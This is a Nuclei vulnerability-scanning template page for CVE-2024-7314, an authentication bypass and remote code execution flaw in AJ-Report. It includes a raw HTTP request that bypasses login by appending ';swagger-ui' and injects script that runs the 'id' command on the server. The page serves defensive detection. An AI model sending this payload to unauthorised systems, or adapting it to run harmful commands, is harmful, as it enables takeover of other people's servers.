Skip to content

AJ-Report < 1.4.1 - Remote Code Execution

ID: CVE-2024-7314

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,aj-report,anji-plus,rce,swagger

AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append “;swagger-ui” to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.

id: CVE-2024-7314
info:
name: AJ-Report < 1.4.1 - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append ";swagger-ui" to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.
remediation: |
Upgrade to AJ-Report version 1.4.1 or later which includes security fixes.
reference:
- https://github.com/vulhub/vulhub/tree/master/aj-report/CNVD-2024-15077
- https://github.com/yuebusao/AJ-REPORT-EXPLOIT
- https://xz.aliyun.com/t/14460
- https://nvd.nist.gov/vuln/detail/CVE-2024-7314
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-280
cve-id: CVE-2024-7314
cpe: cpe:2.3:a:anji-plus:report:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: anji-plus
product: report
fofa-query: app="AJ-Report"
shodan-query: http.title:"AJ-Report"
tags: cve,cve2024,aj-report,anji-plus,rce,swagger
http:
- raw:
- |
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- 'data":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
# digest: 4a0a004730450221009c18ab3a779067bb272e6f2f3e0d0d11d1b5a2a17914246df5b9aa80b3d8acc702202cbcf5a1d7723d0764141aa9f6b1013a301c11d0c725a205774328a2307be698:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-7314.yaml"

View on Github